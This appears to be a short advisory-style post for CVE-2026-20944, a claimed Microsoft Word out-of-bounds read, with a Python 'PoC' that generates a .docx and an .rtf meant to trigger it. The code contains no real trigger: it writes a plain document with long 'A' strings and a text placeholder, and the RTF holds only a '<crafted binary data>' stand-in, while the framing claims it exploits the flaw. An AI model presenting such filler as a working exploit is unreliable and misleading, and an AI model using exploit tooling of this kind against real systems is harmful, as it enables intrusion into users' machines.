CVE-2026-20944 Microsoft Office Word越界读取漏洞可导致本地代码执行

# CVE-2026-20944 PoC - Malicious Word Document Generator # This PoC demonstrates the structure needed to trigger OOB read # NOTE: Actual exploitation requires specific memory conditions from docx import Document from docx.shared import Pt import struct def create_poc_docx(output_path): """ Generate a PoC document with crafted OLE object to trigger OOB read This creates a document structure that may trigger the vulnerability """ doc = Document() doc.add_heading('CVE-2026-20944 Test Document', 0) # Add content that may trigger parsing issues paragraph = doc.add_paragraph() run = paragraph.add_run('This document contains crafted content to test OOB read vulnerability.') run.font.size = Pt(14) # Add table with potential trigger content table = doc.add_table(rows=10, cols=10) for row in table.rows: for cell in row.cells: cell.text = 'A' * 500 # Long string to potentially overflow # Add embedded object placeholder paragraph2 = doc.add_paragraph() paragraph2.add_run('[Embedded Object Placeholder - Triggers Word Parser]') # Save document doc.save(output_path) print(f'PoC document saved to: {output_path}') print('Note: Actual exploitation requires specific conditions and memory layout') if __name__ == '__main__': create_poc_docx('CVE-2026-20944-poc.docx') # Additional PoC: Crafted RTF to trigger OOB read def create_crafted_rtf(): """ Generate RTF with crafted data structure """ rtf_content = r'''{\rtf1\ansi {\object\objemb{\* <crafted binary data with invalid length fields> }} }''' with open('CVE-2026-20944-poc.rtf', 'w') as f: f.write(rtf_content) print('Crafted RTF PoC generated')